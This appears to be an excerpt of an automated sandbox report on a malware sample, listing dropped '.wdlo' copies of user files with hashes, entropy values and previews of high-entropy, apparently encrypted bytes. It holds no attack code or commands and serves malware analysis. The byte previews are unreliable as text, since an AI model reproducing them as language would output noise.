Preview:	GLTYD:..)..d"......`....7....,....,.A.H..,...(..i.Y#W...X1f..X~4.J.4:t&....4(...!..en.'e...l-rcn.....j..+....Z.;d,W....#."/.(...9.+.<.{......3'9.n.n....\Q.n.......''.6.J{..%X...).i...$.+".... .e.M.hxr..in.#....L..OO.. o..=D%Y'.R....$..C4 ?G(9..Ry.a.M[Z."jB.?..I.F.].....C.Y".'......1.6..,.1....\|T`...L.p...N.u.^.......H....:.>O.J.@..V.W.'...w....y..!../LI..z.Y.N.j.v.....+fk..... ./.)..9N..D.....z....M=.x....>...f[..>..3..e..qKJ.`.t..?....)...w...5.+.@.....IO.I....o..<...D..o..w.L.G...!..\.a.......@If6...?..,2q..L.Y.E.E.. P...vt.6&H!$0\..([4...>.v..@.0pa..........c.7.0i..i..\|.!(Wm...O:~+..M.$zl.......q.u......x$h......,..1:-....8Nr..)<.s./paGr$.......L..D .W...L....d&.-.f7.DC..(.&.`\|..:..@y}6)b.!.,..T_\|.H..b...9JK..~p..1..U/...3... .'.]_...}.q...~/.f.S..K.D.P...LT..J..ve.....].k........>.I:yY-........g .!.P..W.....\|q...4...f^.w.....P\..&...KD..s...}.R;S,w%.).?.H...u@..<uu..c]...OK.K.zO.w......+.?..>BU.?..<0...-I.gg._.&...U..$.G.Y..]6:s

C:\Users\user\Application Data\Microsoft\Windows\Recent\GNJEVOXLLS.jpg.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.850714176862241
Encrypted:	false
SSDEEP:	24:/9eh0G/iZS3afttLcWvvPYKdOAoRMCX4Ouv+cdfguQ7bpbX6dRPOiANvh28SPnHX:1ZG/iZS8LcWvvgKQRdXLCD27b5iRPLA6
MD5:	74A7C1186684AD5A8DB4D313ED6FD229
SHA1:	911B35BC758BE7DC9594418F253E95442410D110
SHA-256:	854624BF51179F8B64D477171B8846B3AE05014D9435664E38AA3756DE079172
SHA-512:	BC6AC1D78E9EF7C807B0FAC3B2F4C7BAE27254DF71006ACAFDEF5A4BE6876C44492F38CC4B796688EF6474B13D8E89D63EEF830B96987E631AD9CA48D6A19CFA
Malicious:	false
Preview:	GNJEV.;P1..gJ.T.w."_...q7..W.q.k..#}..m..L+n...G..${..].>...Fk_......~.;.6.i.\|.~E....!)l........r@......4.C1.'......L....L.9.........6.I..:c.+....Vsfq..^\.o...~.\|.."f8....]-.....+...e.>.qW...C.V.:g........DB..l.3.}.T.v.X@..Ef..9.@=.Z...vAG+..^..".._</../.u...s_..N....vc..2psoI..A).z....=Q8p....K%..VK....6W.l'.C..l.....P^...;(..z..U...+e.B.U....8&...@g.... fh ..3...M.C....k.^...>.7.Q...k..X.H59.(.1..6...0.<.L.."..m.?..k...9..rJ..zy.\.f.'.P"6C..0.NF.. T..#.L.oz.....DQx.....(.?.s...\G8<-md.f.....e.t...o!. ..i......\|b..z.....!..\|.1[..$.Z.~..2..b.T....S._C...Z....'..Z..[.D.D\|f...c..8..]P..2.f.y.I.....E.m..R.....K.q.FiI.q....u.5R....mlL..V7.9...k...Z..\|.Xw..1g.....1.9VcVn..{#.XE.0...\.{.6X....1.]-...h...........t.j.H.C.E,I..a.2.jT.hL'k..d.#D.t#)y.#.y.. ..Y7.-.1kVO5+...]5....S....m-n6q..3Q/8rJ.MO....6.5.I...W...H.......Vc.h0.W).'M...p.,.II...t......i...`.Q'.6f..1....J.R.>..c...*f.......QH>.0..{...=.......'.....Y.6...-..O...s....x.....M.._...

C:\Users\user\Application Data\Microsoft\Windows\Recent\GNJEVOXLLS.xlsx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8555879489692835
Encrypted:	false
SSDEEP:	24:/1+xUo0XWHWoDwjX3Uz7qwBw1yBR8kBJAQH8M2vdVWDgDRvyz6LE3zbD:tYUosW2oU73USSwFOD2vdVjDRa73nD
MD5:	23A5AB654E8DFF1497543C53953167E1
SHA1:	01C30C23F856A19722AF3D0C66A2C3DD933FC8D2
SHA-256:	D151BF94E8F6126D07A0B69C068044D8B5A60EF98D70AD3A072019A557C4BAAB
SHA-512:	6F4B5C127EE52995A730C7D41DD85E99E9B00506579F78784C9A9C93450A3CDCCB6D9934C9F20719324483B84C0852E1C64DAB91E78EAE75C3FFFD39E1626A75
Malicious:	false
Preview:	GNJEV.....S...d...l?.L..@:.S.rP.....\.C...r.W..M.8]U.&.~........Y.\G...$=P_.U.....\|...t.G.1..:YL.g....Z.H....?.6,<.E....[F.f..H....?.R.+.o...rg.D..QZ...i.Y/.h.c..N..\....'k+.iX..^.U........O........s.9..Z..8O.v....$.m2....F...m......_.3..pwX..z.7.,..#b.5...U...I.4g...9xdVJ.J.<l....N%b...........r......e.mO.....^..g,.{.....goM....o..wV...un.......k.2^.R...[pv/.B.P.S#..._.Zg.WO.#.<.........~M`....7..uf9.....\|...p..g.......zJ....3S..j...ti>#...7.^%sr..`"i...PbI...40....f..k.8.xgX....n......G.;Eo..q.9.`..B.l....;.@.=.s..X.....<.F.....@b.."..0.x+.iF.1..N.:.....tJ.ZQ..~........I...Hu..~.. e..i....W6.1/.8N@n..4.c.D ,..tB......Q..!...]G..Dx...~8.........b]G.....I[.k.y..Y....'.b`.......2..=.E.IC..E...<.......o:.$......#`............eNOf.D....3..{p.....D......rb.C.P.B.q.4....t.,p...\|\.a..=').wN>..P.J....}3.....H.1...........>G@v.T..........Vr......^..M{]........a..D.C.O.&...P.5.X...H..W=...VE.q..m...dX4Z..p+\|./%...P..l.p..F..I.X...6..c.O

C:\Users\user\Application Data\Microsoft\Windows\Recent\GRXZDKKVDB.docx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.816776608528827
Encrypted:	false
SSDEEP:	24:+Kz8rCTJji16lYU2/5cycSumYbe2UMs6XoaBP9rHgwGan7iOXeD5oF0agc8R3zbD:H8wI16lYU2ulSPYK2UgXoUcwfGOXeDAc
MD5:	C5BDDD393F210E8696E3EEEF27D66A61
SHA1:	77410148A692F94300A6A54F252C2362D6B8623C
SHA-256:	5B05090879BA147900DE2A7352BA1AEE6C7D1E693AFAF1B1E38B1A1BD2AFE4E7
SHA-512:	6889CBE09BF2FC7F3F2BAF6524CDC0F561170779C54058E148CE864CC8F545051DB46413E4DE0C0C850E5A124F697366EE134317B4AD041BEEA25E15CFD5C107
Malicious:	false
Preview:	GRXZD........'b..Z.o{...D....%.........u.I{8.X.L"y.....J\T.I..H...J..c....RS}..w....=;(f7.t..BI..$..r..F4..ZUR...37A+\~!.....I.5 j......f.h.....78}.@y.j..Gp.H$........I.$..1..v..a...Tu.@.$....%v..G..7...L..'I_....p.R.A.......[..9.].....?.Xo..^..y.h..%'$...(....{H.-;....$.=....... ..m..h1<..bA.=^.(hlH..){....dn.p.S."C.A.8...MI/..1......W`e...y..V....t5vt.qc.....K2}D.Q.a.......D......%.-....lx..uI...Rg.8\..R.~y8.oc,..X:...J...A<A....[m...4VX$..9...^..Q.R.F......v.j......-.....%SS.Kx....hd..m...+......qoG4.\|...._.(v8....g........3.'..Z.w..H......$W..1.1..XP3."..T.....t....V.N...."..1...p.C..f..[p..&.".5]1./.2..b. ~e.f`.x.'..$.._.8....}..LL..M.RF..U=3.q.4.....G \|..C.6.anE..9..y[....{..YY6+.i...:.....`.o...x.%.........$1.r.....`.#.$r?8T.2....Ec.N. .................Ad..9]K.).fD..3.K....o...Y...+.....C.uJB.t>31"..4.Or..c?..U.C/..e%.p3...k.3..>Y....[[.?....E=...?~6.QIV9.x.8&.).{...o.=l[TC.x.....R\.I.b.S......f....q..NoF.......?"u..D.&1.K...

C:\Users\user\Application Data\Microsoft\Windows\Recent\GRXZDKKVDB.jpg.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.846000836390011
Encrypted:	false
SSDEEP:	24:VJxmIG9RjcpIT9GLhoACP08OQti5/LPkYDsYb/w58jInbaZzMB2iQJSOTXsUuaF1:Veh9RjcpIT9K3Cc57hLzDsYTw5k+b0QY
MD5:	0CE246B092E3B1DE48535067CA9249E2
SHA1:	5D0AEB86727274F91081CC5ED1E4C140E17AFBDB
SHA-256:	F0103AA778797C72EF948E51A20379A15CB2AB58E682C746B6EFB7DE06D86324
SHA-512:	FCA7804F046B2F6FD26CE4292053EB8169B318569EF548192EE088F0FA2ECD76319DCE3E46EBD1C3B4A5BB38898701F64E86F975036EEA03850A1455F4DD461C
Malicious:	false
Preview:	GRXZD.>b.yA5.{.X.u........KN.e.._........h.-k.kkA.%....r....._r.Y.j#..._h\|..>^zz.N.eEa.m..^.....v;..135p...j ....$...v9..x...........X.K8.V...........5.. ...> .J. .......>G...l..U.....T...R;...#...!XQ....&.9ix.$.v1...3.z.+..P.`NE....+......y`..._r..\|.....H.e......c...z>...V...}.B..V.........?.....<Oa6.q]Me....}..L\|..i.....0.1..\.R..b...Y.U..)....8j.......N.X.i........-r.;.g.T$t(2U.\|.p.....x..eS...8...GnJ....,.Q.....yT..4.y].F..Mr}..'.(.+.....-.i..Q..t..H..X..i_.6t.~......\....R.B...Q%U.....c..'8.R..[..A...5v.x4..........,W.c....K.3.3..q..R. .z..A8U..F.......(....P.^=....o...~Q~+....5.K.@.a....3.y2<.MN....l......i...d...Ntx..T'.o3.E.>.....F..~.....9.^..kV%.g.B..U.Up.^.....8..D...]i..4...'.~..?..>..$..N.C....+d5WM..^.......h:..C......._..:.i......./..C!9K....%..W......<L6.sA.-..K2...MD......1a..e...g,}(c..$":X...=.v=..>.A.\.U......T..e.`...N...BV!.Br.L0....c4GR...f..E".....e....m...I.)D.e.....o..W.-3.:Y....M.V../..m....c

C:\Users\user\Application Data\Microsoft\Windows\Recent\HMPPSXQPQV.mp3.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.849105671116336
Encrypted:	false
SSDEEP:	24:kgBY1g3kasJd5Y8Z1w1b5YrSoV0KFRJpN1is3zbD:nnUasBY8cR5YrSFMX/3nD
MD5:	7D1544A897474466BFCA669B902B3BC4
SHA1:	B3F760A310128F177F4FBBCA89C43D080138D14E
SHA-256:	3846CE5F8825BFD75910813312BF2725572EAD7A955E9933C6292BE68C43F660
SHA-512:	DD1EEF04E1F520DC7129CC51F6618C09F81B56546FC29F95B86F4D056B92B3A54DB89164E3B2142F1281D86DF61F2E9F5241AC1644BAFE07D855DFB5C93C0235
Malicious:	false
Preview:	HMPPS.......UQ+.NE..~oyfR......83.._[^+.j.lj.O...G...x[;.........adA.....t..Z.....ED....%.P....)..}c2E+.....b.._Fm..v`..?(CY........ ;..U>6+vl...A.....\.m...^..mp....,...S..Xo.....<8](.........`.=N.^[D'..P..b..`=..\|.yLw;0.....Fw+....(,....".p...B.L...>..<.g.\|jHPF..J.......9r.,_jC.=.N.U...A...........Qd.jNG..n.).wE.b...&r.A.....c..tf....?.....`.Q.........[._.\..`. 4...u.\J.F..<..J..H...^E..e..H...Q......pV.5,....y..../.f..1.w...\.~..5^.........A...~.....\|.d.k.3.c....o.p..52_S.v.p.......<.......$.;..C\|R.'..Te...W.C.x..D...B+QO...KK;z.D$.0.z.G..m.....T.U..Q....Q.n.9,#.$.'.S2."....3O....{.x].b.....;R3.........6.......gO`..3."b..Qc.......0.x..E...o.Yx.)..m..D...$.b..4. .a.E.S.;.6.!.b..".9.K.\|..N.+....1.....e+Od.....8.`.V.../...qg.z..b..@..:...1].f.M....0...AM%.....j..S~...C.M.2...M..X..5....M($=....<4....K2.`k5..M...` ..s.@...=9...R.......E.....e.QG..A....U"`3........8.^.....z..d...(.k.....E..........._d..-..Mn..(p....u.e.z.."

C:\Users\user\Application Data\Microsoft\Windows\Recent\JUSNIGKAJT.png.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8240119126881
Encrypted:	false
SSDEEP:	24:bqK5cdqW+U+gcBdxaO50A45ELWxVYgy5xrAXbkoeAhf6CsuL3iDdPj6v3zbD:eKy3+tBWO+SQV7YLvAhf6CtWDN6v3nD
MD5:	36A9D25986B72C782D41AD7A19D7771B
SHA1:	73A7025950FD9525EAF4D6CA7D0AD3416E434F84
SHA-256:	BB9F5F78BFB55C0BC076A8C558E706639DEA717F6030C876C209F00B3643B993
SHA-512:	11FBD3CA592470BA45343FFC2EA225286EEB8B7D03957A5062980CEEC5B5804242758FEFD45F5A5ABB0C42C4573A7854C51FFABC1E1B3BA3A04D6CE1BA959114
Malicious:	false
Preview:	JUSNI/..?..<.S...uS.tA.y...-.%.,.y.PP.y9E...;.:%..X...7.;...s:......".^.t..;...1.ht..(SU....B..st...T.....y30v....Z.5.u.....?.Y...m?9.)~.(.....L.A...4]a.....0....Q.AO"2 u.J..G*.....f.L4.`..B.s.....e.....Y....@{..F...U....r.n.o4.U.KE.2...../...2....]5..y.s..T-.k..xn.&.Fx.)....O. ...:.E#.&...F!~Z.+ ...'J.5.......]....d.4<.P.T....\|.{...!.h..{.&..D-..\9K..Q.....I..).4..~..\.SBo...P...$..6{..y..Z....4.' .....W.2..........\|...aX1....cZU...m.9...d...[...E6ZuN..3.n.Jvo.-79o/.!R.A...l.4!4$....F..AbN..x..l...gy.D...>^..m...h..IC.v.B..tT..a..r......&...0..y..........ck)...C]..cD.Rt.l...z\|..5.$.mDO...3>?s.y.r.W?)9.Y?.@.t.].u.....,\|.R@...h..^.....e......t....f.g..3..G.gB..!.J..92.....,.W..4......".4..;X...Uz..0....$c.vFG......D.%..D..1..TP...K.!>+h.:...9.=.F,[r.... .@.P...rv.R....eS.}A...zC.5.{........Q.._...\.'....P0........L.g\|>8 ?2<9Q.......u...[]...fu.I6..s.{\|....z..)+E.....:@.J.FT...Kp..P.\|.i.{..Yi.-.$:...kkuW..2...j.\.....r2.s......>_...n...q.

C:\Users\user\Application Data\Microsoft\Windows\Recent\KLIZUSIQEN.jpg.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.854616830881616
Encrypted:	false
SSDEEP:	24:bgHjNtMcQ+bbKkojewoME1fDCUQpAiQhbiVDrNPE0dyTXA03zbD:sHj00f5M4fDCUQHwiFrN8oy7A03nD
MD5:	20937B907B9900E555BCB93B3FC9411E
SHA1:	804BB9D73F9FFE1C77A58485F4C618FD0FC0AC14
SHA-256:	31B33AFA667B46820175F3A20D275E289FBF4412F0310665578E4B920E6A7516
SHA-512:	015A50DF1FB44F9FDFB3057A60A9923F06952FEA81A571A4B86D799DB36D1E3C58BF441B21C18B25572360A0F33DC5B37FF66273A6360BECED9DD254296D959B
Malicious:	false
Preview:	KLIZU.\....e0:......tC..~R2....D.?...b...+........X.A.c.@...F...a._...SOM...:..8..[........O..i.L.....L...w..vR,.LUk].L...K.[...'..\|R....,F.g....sPo...%...w.a.._'. .".#..w6.M@p..._...4.6v.S."Q$..{.w=BKdN#..}..n.M..eT..'.....v..].\|...Z.d.e..2!...2...C.G..U../N..f!..q.Zr;q.M.B.F.X,_5b....dI..z..hh.....t.].k.>'?..7..y......\|...k.^.$./...n....-....A1.q.V2..b~...H....`.Z".K...w.(<u..K..%`.....2.+?L&..O.-Z ...M.K..ho.....?..Rf.......8...R..o=..F.....x..l...a.h.x......>.'\..z.`.0..vC..rMV...S...VlR......z..^.........\..6.g.oO...)U..ok.,;.mf.....$......T..t..%...,b.;{....dk.3..k..`X.L.W.t..{.}_...9}.,x....I1.#...<&?.....R.3.f...WY...dO.o.#...+..b..T.."..R..AT.J.FN=..W..^n&.e.6h..,.......k(]...A.YAc./.p.&.}q.y..Z.....i.#..d.O...M.....+...tP\....C..#.....s..........5u.i...........A.fZ..!{]US.,Vp.._-....j2..3..k..y(x.<.A9\|.^.8....;.....n;.a....:.....X..P.5.....X..".4....Ux....&IoP.....#Z...H#M...1>.u...+.M/h...KE.F...XS....h...4.............S0

C:\Users\user\Application Data\Microsoft\Windows\Recent\KLIZUSIQEN.mp3.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.832202558674084
Encrypted:	false
SSDEEP:	24:bWDiNqVUNncQLc7oK8v262CLMLzcwuIehcguUOjUXPm0UbrHTBTx8imTfA3zbD:wiNcUqQgf1Ps4z5b/VQXu0UbwfA3nD
MD5:	900BB60785B72F801D1EE1CB6B37EAEC
SHA1:	0C9F28A21444D6CDC80348522DCB03CDECD5E40F
SHA-256:	51C3535DAAA282A3FC46FA96D7E64B71CDBA7E1554E21324A51E468BAD782A42
SHA-512:	675F0B46EFBD9C9C126F71B069CFB68C46A8CA11881DE0D11BC7C446E225E43433A18B399C0FBDFA33F4225A3F18420AE0EA40B1F924D65A4213C247F69A1F5B
Malicious:	false
Preview:	KLIZUHs.DDE...e+0...].zQ.9\|.w.....a...sy.....!.4.4..{.......}..A#f.@.}.U..>.-...F.....L$..?2.....-.]I...t...&e2.V{.-^....B.i..A.....i...Ud...(.>K&1D.....X..W.:0...u1.8t...D...x.#.-x..g.....v$.....d..`...d.NT..qk..}.Dz%./.n4....#.}.q >..%.,B."^..e..Qo>(u..B99P....r6../...E......H...9...h.[...V.a....J...`.G..e.e.]@._._...A...p.AOe..:.T .=.u.N<N....3..s...\....@#._....<.b....`{<._XS....u,...q;.a.To.lX.vD........<.a)E.%.-[..I.......E...vx.j.?a.Qj_K.<aI....U...x8@.N.l..L#..S/.r......N.OG..`;...... ....W.>...~...}.PQ.>c..2......{.....}U%m..>......=U....%..F.B.L....Z.`..hp.->>pi.......n.}.U8.>Q6.QD[..Y...@9...38.c......',.T8.^..r......m.N....n...p.@........n.QO...)..\|.#2..VIB....~........Pp...@<.M.6.....S.<..5\..#...~U...0#....twzage.3;w.....,....^.1+z..T..@@\..r...T$[a.....1#.?MC=..R...l.@+.A......x....7.[...t..uT..~..q...a..{....$.\..2..p.y.......X....G.p..!.;...*..aK.h`X..7..2...l..rS...#..0l4.g ....t....cO.(..?e.y.rF..I..9..Pp0...

C:\Users\user\Application Data\Microsoft\Windows\Recent\KLIZUSIQEN.pdf.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.85908935026576
Encrypted:	false
SSDEEP:	24:bKMVKuwCU70BM+lzviAOI6PUntcXX2yqcSZXxXOorKrQiOv1LdnrpvOzw+ULKHHT:eQ3+Cz6dr7qtxMQiOv1BGQLAH3nD
MD5:	C5CDA201173E304A388DC0A64D7B8E4E
SHA1:	200058C53BDA0A71C2B791327B182174B52BB8C5
SHA-256:	8D22C6DF30B5A2078A02AFDADF6D238FC3DA3A593DDB51F4888132AC981E5CD8
SHA-512:	34FDF29976D601969F3781AA374E9C40706DBC75C8740E2439D0085A2B673C9A52A670E23BFAAA5904A5F0984FF23128319F0144DED8472CC21BA418B85C5F64
Malicious:	false
Preview:	KLIZU..3.DN"..j .._..B.K...>:.T....t3.E.r.h,k..n:...m....]..{....._...P.....x..No.....el{M..0.~.cS......@..'sx..%...M..Ea.H....E4E..Z....8..?r9..u?m.6.("..oP.9...U..>h..?..go.............t..~.F..+.X..8+.m....)..'....%,..3}..d.=..g.......&.2.=4lj.T..._.B..V'5f\.8....b.........s9.X....]31.w.[H...XQLX.-;..(_C%...H.u..c8...G..5....i_...QG....pIi.D.,c....i...F.<.S.....p.6...`K....=~.Nf.C..jC.k..V..{...?7K.A.ce..9.r.V.o....w..].O.G..2...e..!..uM..yi.O.U3..+..s_.C..o>.i...h..:.a...H...NXT-M.~....../8.....+<.m ...;.G.!....9/...dX.X......<......j..(.........D.K...\[~OQ..F......ty.P..cQ..F,...w+...}A..!......w.D............D....m'.ny.../s............0...,..`...?.Of.....?n.:abC:.Ih5..Y,..nl.Z.;....e.}R.._.O.m..X7~p..aH.:m.y.BS.A.i'.5.1..$.&...-o,....Sq?...+F{..A......-..2k\|.;....X.^.i.7tLF..'.!.I..W......R..s".....M._.G....&.Femu._`J'(b.9....b.Uo....b.SF..c.J8..Xj..!..G.s.A.,...sv)...#.w...~...rl......%...tu....}.C...n...&t....9.[...

C:\Users\user\Application Data\Microsoft\Windows\Recent\LCMFMMJDAC.pdf.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.852311737046336
Encrypted:	false
SSDEEP:	24:d/2/Z1cc/OqOtJO7TPx7++pY8eLgQdt6NxxrnRwHCaFZH71zOByt8p63zbD:9iZ1cc/TOtJO7V7I8e/6NrnWjFZH7kkZ
MD5:	0A203204D91ADE190A7694ED1409FC48
SHA1:	C0595898B1DB2650F787D7F4396CF7E6704F0B5A
SHA-256:	8CEB660816F9098B4683B19C27DB561696321CE4FA6421D24D881C63996CC3E4
SHA-512:	292156AB4D07304C95719BCA0C83AA2E67EEF96ACBFBB51B1D6937C2BE87348F1ADAA5AFC1740A0277A91749C6AE0B6E22FFB8EAEB5095B3B566FB607B4CEBF3
Malicious:	false
Preview:	LCMFMT..o.^.P-L.6.Si.....t..X..G.-A(...;./j....ZF._\E.-.....n.K$.(.x.enM.S.#.3..3.>.BA....sk...#.D..J..a..O....-...k.5(...g...X.j.8{.$...'.f......4.KV....(......G.60AN....{NmOf...0..W......%.GL.......e...@..3s..p._.+N..d..T.'...6.z.F.=v ;.1...$5O.S.s/...........h..r..X.=.'}...2...iDjm...x.3W..X.tFX....za8.L.;.n-..{.JG.+.8...x.....j .`.J.-..(Z.....E.ij(...h..$.F.5".RI$$.uC.C0.....l.eV..\|[.U.{.P...A........[...M}....V=..}j+.7.zr.S{L.U....(.._.F.V..t.....K.A.WeX....r...."Y.......B... ..\|Y&.=...g0..l"(!..E.o.-."Qv......\S+\.z.<.8........gk.!j...DU+B.A5V.).EY.....#Eu......u..&&;.......w>,...N.=.P7.^ad..n...[..f..B..c...l....-....<.7p..._U.+..l)S..e?.\|....w.c2.P....S.'n.Rfk.=.%qyc..(\|.2..U..1.q..X..Z^Td..p!.. ...]..F..B...gB.....\|.6k......&)I.../`.4./....s-......u...B...B.]YEQSB.Mm..nU......B.z...$.......3...)..l.VY7..bE....7.b.P.......+.....UbBO.......8....../.. +.\|.Yi .T..b....]..b..3%....04...g9.$..t.d.......la......9..,4_...>..ZJ.L.. ....~.4..

C:\Users\user\Application Data\Microsoft\Windows\Recent\MDCSJYRUNJ.mp3.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.853461111913644
Encrypted:	false
SSDEEP:	24:jDApUE0XrJv5MlS2Bx9PVWnwsA6N9sUseMjMnmHc30qCuzSjogMkKuC+oFyHh3zX:/U07JRy1PVWnw6NZ5mqCuek8OUh3nD
MD5:	238EFF0675D9C7D9C1AACEF17398EAD0
SHA1:	FDE1F8B3E6C243E2570EFFDA44A1AF8052892CFE
SHA-256:	DDA10CB0DA2D668859E245293C8A09393B9D957BE66F8A3F9D7641A9B2E429BF
SHA-512:	8234C9CEDC5CCBF7FCA0400E4898235AE1EE024DA3F7EE8D4BA32DC31B46E5DC7A6053A7861D2911F9BA68697814FCBFCA850072FFAA8A16CBFD052818D238D0
Malicious:	false
Preview:	MDCSJ.d.. .z.K.]....,.9...R.y.....)....]...2l...l.J.A.O...c.2..$. ..I.lf9x..r;.C.......>.z..T.zN.:].)...:Tk.f.Y...43.}l..7...d..V...g#0.o.w..>g\|q........A...........\|.\|D@.......07....\....Q4.`..9..n..\.....'..-....qI...&...Z).<h..[<X.............._<.?.f..8......5.6....f6.....'..T..k}...........=s..@D...d...O.h....k3."QK'.Pm4.(..CRW.....~.\|.....0..g...p?..8..Ke..g)j...c....7oR7.. e,?g1....s...Lz..#.7.W.!Z...S.........{.l.].+r.[.....U.X....Y@=..z. .ee\|..u.._>.u.e..`H..i.'.$.V..f..KR..Rd...'X.y"....^^.;N.............=3...(.&...:q-.;..U7NO{...4;.9..!.....2a.jq$9..........E...l])..N.....%....C...%..z.......l...S&:../.]<......7e.FJ.M..4.. ......nC..K.[..$...5..r....K.L...M..&.......{......l..{......).g.^&].......Z7.E..2.Y.n\...$IB.Q....#.J..AUq~../......9x...'./.../...u...V.w.y.j.l...`..@Dzdl...$hz..\|5R<O..qQ...e...1 ..n.ctr!..(.{I.{b.....RP.#.......z.....p..>.....E.D...+t..q..P...1....!!..ca.\B.6.czxN..o.4.T.{....~.&...]..GH..t...U.....

C:\Users\user\Application Data\Microsoft\Windows\Recent\MOCYNWGDZO.mp3.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.846236352407675
Encrypted:	false
SSDEEP:	24:uFSya4m4obx/Re4hgIsPpZYOwph1NpNpYDFnF0DsEvmBBF93zbD:kafDw83v1NpNKR+DsZj3nD
MD5:	21B3BBA1F8F56360C6C618125F741C8B
SHA1:	0814AA4100325A8E432F98F37858734375B0D57D
SHA-256:	94C8F9B64F82EB218BAA87F7E120BA3C943E349B6B4E9759500830410C88259F
SHA-512:	91D81D780203866DC7A844E7DF09E4D6C444FF280183362B134F5EB565AD953B26666FC6DE35B738E46423B1F95793849830F942A39E5965456BFA27C6A03126
Malicious:	false
Preview:	MOCYNa.FI.=.4...?._S(...+@...qB.../..1.Q...gx:g.J...'.q.k=.m(..O......N.Y....._.z;.%26k.n....5.>.e]~.r.z....72.D.my.C..~..Uh..8....H.h0.....X..(.....:dK....n..~0...O....@.ud.a...sk."I=.//N..t...!..z..6.5b...p...+..l..r..$.....W.;.S<....b..x....r1.d.Gw.%..}A.8..1...>`.......8.Rs....bT$.#T&....c...v...O....R&ror...;S./.+..d...2;B.b..^sSap..a...Z.....\|......?7j?.n..g!..U9..~..&.......U..@......9p...BE...7....BO.o..f..x.!j.. .../..#....C..t.3p.._...->9.:..!.X...!O_n.(...x...G8..1Q........i.I.{.U.S.....\N!...lQ..R..M.\....7..r[&.t...^.....o.<Y}.B.2...[D..[.<..\|.R.X.P.Q!..e6...`k.@.a.,...s.}.P..S.......3.Z?C..E.....=.......L..I}=..y.Ok.?..$...n...\/.d.Y~..9.tM.W[....!.......oO..s2.B,.....@....G..=..Z.#...Z..^.i\....\L^....x6..JJ..q...(o..<-....}.U..."!o&K..B.r...%...&...%i.]E.B.;LM.N..fo.y#.Kh.F....z...C.I..V$.^...c.YJ7S....'..?......CS....t(i...0..U.jb.&(...o@.:..j...E..i.H5...4........>J.B..J.H7....$..N j..ll...t..:.qR...i..... ...

C:\Users\user\Application Data\Microsoft\Windows\Recent\NVWZAPQSQL.xlsx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.846202595235264
Encrypted:	false
SSDEEP:	24:FbJU+Lr0EaoA7XOInH7FeXcSLYgvFZSFS59npHyrFPCqQ3e3zbD:FbttASAZoL9ZSm9gVCze3nD
MD5:	576971E77765C15173B4D44BFD967092
SHA1:	44238EBF1DE088AA8D18C903351CDBFB8443EC60
SHA-256:	DB5EDE01C4DE7BB2BFFDCD40F07C413D08FB65EEB2F772705D04304C3B66A6BC
SHA-512:	C586613399397C05734360A65C076B1CB0400F7D295EBC3EEA92C04D7FC8AB6D7DE80B739DCDC3797DDA7098333EB9390C5974CE4A293C4C14D4D32FF44C0D5E
Malicious:	false
